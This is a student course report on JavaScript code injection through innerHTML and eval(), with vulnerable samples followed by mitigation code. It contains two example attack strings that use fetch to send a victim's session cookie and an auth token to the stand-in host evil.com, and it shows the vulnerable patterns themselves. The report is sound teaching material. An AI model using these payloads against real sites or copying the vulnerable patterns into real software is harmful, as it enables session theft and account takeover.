Project – 2 Report

Ananiya Deneke

University of the Cumberlands

Secure Software Development

Professor Brandon Bass

October 16, 2026

JavaScript Code Injection and eval() Vulnerabilities

Web applications routinely take text from users and send it back to the browser, and that loop is where many client-side attacks begin. When an application treats untrusted input as code instead of data, an attacker can make the victim's browser run instructions the developer never wrote. This project demonstrates two forms of that weakness in JavaScript: script injection through the `innerHTML` property, commonly called cross-site scripting (XSS), and dynamic code evaluation through the `eval()` function.

Both flaws share a root cause. The program mixes untrusted data with an interpreter, either the browser's HTML parser or the JavaScript engine itself. Richardson and Thies (2012) treat the validation and handling of untrusted input as a core secure design practice, one that must be planned during development instead of patched afterward. The sections below present each vulnerable code sample, explain how an attacker exploits it, and then present mitigation code that closes the hole.

JavaScript Code Injection via a Web Application

The first sample, `CodeInjectionExample.js`, displays user comments on a page. It appends each comment directly to the page through the `innerHTML` property.

```
// Vulnerable: user input is written directly into the page
function displayComment(comment) {
    document.getElementById("comments").innerHTML += comment;
}

// An attacker submits this as their "comment":
const maliciousInput = "<img src=x
onerror=\"fetch('https://evil.com/steal?cookie=' +
document.cookie)\">";
displayComment(maliciousInput);
```

The `innerHTML` property does not treat its value as plain text. The browser parses the string as HTML and builds whatever elements it describes. In this attack the comment contains an `<img>` tag with an invalid source, `x`, and an `onerror` event handler. When the image fails to load, the browser runs the handler, which sends the victim's session cookie to a server the attacker controls.

This is a stored or DOM-based XSS flaw, depending on whether the comment is saved on the server or only rendered in the browser. In a real comment system the payload would run for every visitor who views the page. Claude describes the result: the injected tag "executes its `onerror` handler as soon as the browser fails to load the fake image source, silently sending the victim's session cookie to an attacker-controlled server" (Anthropic, 2026). With that cookie, the attacker can impersonate the victim without knowing their password.

Dynamic Code Evaluation at Runtime With eval()

The second sample, `DynamicCodeEval.js`, implements a simple calculator. It passes whatever the user types straight to `eval()`.

```
// Vulnerable: user input is passed straight into eval()
function calculate(userExpression) {
    return eval(userExpression);
}

// An attacker submits this as their "expression":
const maliciousInput = "fetch('https://evil.com/steal?data=' +
localStorage.getItem('authToken'))";
calculate(maliciousInput);
```

The developer expects input such as `2 + 2`, but `eval()` does not know or care that the string was meant to be arithmetic. It runs any valid JavaScript with the full privileges of the page. In this attack, the expression reads the authentication token from `localStorage` and sends it to the attacker's server. The attacker can then reuse the token to access the victim's account.

Claude warns that `eval()` "executes any string as live JavaScript, so if that string ever contains attacker-influenced input, the attacker gains the ability to run arbitrary code in the application's context" (Anthropic, 2026). Because the evaluated code runs in the caller's scope, it can also read and change local variables. A flaw like this is often worse than XSS through markup, since the attacker does not need to slip a script past an HTML parser at all.

Mitigation Code

The file `MitigatonCode.js` fixes both vulnerabilities. Each fix follows the same principle: untrusted input must stay data and must never reach an interpreter that can run it as code.

Fixing the Code Injection Vulnerability

```
function displayComment(comment) {
    const el = document.getElementById("comments");
    const p = document.createElement("p");
    p.textContent = comment; // treated as plain text, not parsed as
HTML
    el.appendChild(p);
}

// If HTML rendering is genuinely required, sanitize first (e.g.,
DOMPurify)
function displayRichComment(comment) {
    const clean = DOMPurify.sanitize(comment);
    document.getElementById("comments").innerHTML = clean;
}
```

The main fix replaces `innerHTML` with `textContent`. The browser inserts a `textContent` value as literal characters and never parses it as markup. If the attacker submits the same `<img onerror=...>` payload, the page simply displays that text, and no image element or event handler is created. Building a new `<p>` element for each comment with `createElement` and `appendChild` also avoids re-parsing the existing comments, which `innerHTML +=` does on every call.

Some features, such as comments with bold or italic text, genuinely need HTML. For that case, `displayRichComment` passes the input through DOMPurify before it reaches `innerHTML`. DOMPurify removes scripts, event handler attributes such as `onerror`, and other dangerous markup while keeping safe formatting tags. This follows the textbook's point that data must be handled safely for the language in which it is finally used, because input that is harmless in one component can become dangerous when it reaches another (Richardson & Thies, 2012). Here, that destination is HTML.

Fixing the eval() Vulnerability

```
function calculate(userExpression) {
    // Only allow digits, whitespace, and basic arithmetic operators
    if (!/^[\d\s+\-*/().]+$/.test(userExpression)) {
        throw new Error("Invalid expression");
    }
    return Function('"use strict"; return (' + userExpression +
')')();
}
```

The fix removes the direct `eval()` call and puts an allowlist in front of the calculation. The regular expression accepts only digits, whitespace, the four arithmetic operators, parentheses, and the decimal point. Any input containing letters, quotes, brackets, or other symbols is rejected before it is evaluated. The attack string from the vulnerable sample fails immediately because `fetch`, `localStorage`, and the quote characters are not in the allowed set. Testing confirmed that `2 + 2` returns 4 and `(10-4)*3/2` returns 9, while `fetch("x")` and `alert(1)` both raise the "Invalid expression" error.

An allowlist is stronger than a blocklist because it defines what is permitted instead of guessing every dangerous pattern. Without letters, an attacker cannot name a function, object, or variable, so no meaningful code can run. The function also uses strict mode, which limits what evaluated code can do.

These fixes were also checked by hand rather than trusted to a tool. Richardson and Thies (2012) caution that "an automated source code review is rarely as good as a manual review," because "the complex semantics of most interactions prevent them from detecting all of the critical areas in which the code is subject to attack." They also recommend that such a review be done by "someone external to the design team" (Richardson & Thies, 2012), since authors are less likely to spot flaws in their own code.

Further Hardening

The `Function()` constructor still evaluates a string as code, so the allowlist is the control that actually makes this function safe. A production calculator could go one step further and parse the expression with a small purpose-built parser, so no string is ever executed. A Content Security Policy that blocks inline scripts and dynamic evaluation would also give both fixes a second layer of defense, since the browser would refuse to run injected code even if a flaw slipped through (Anthropic, 2026).

Conclusion

Code injection through `innerHTML` and dynamic evaluation through `eval()` both let an attacker turn ordinary input into code that runs in the victim's browser. In this project, each flaw let a short string steal a session cookie or an authentication token. The mitigations work by keeping input as data: `textContent` and DOMPurify stop the browser from parsing hostile markup, and an allowlist stops anything but arithmetic from reaching the evaluator. These fixes reflect the secure design principle that untrusted input should be validated and handled safely by design, not cleaned up after an incident (Richardson & Thies, 2012).

References

Anthropic. (2026). *Claude* [Large language model]. https://claude.ai

Richardson, T., & Thies, C. N. (2012). *Secure software design*. Jones & Bartlett Learning.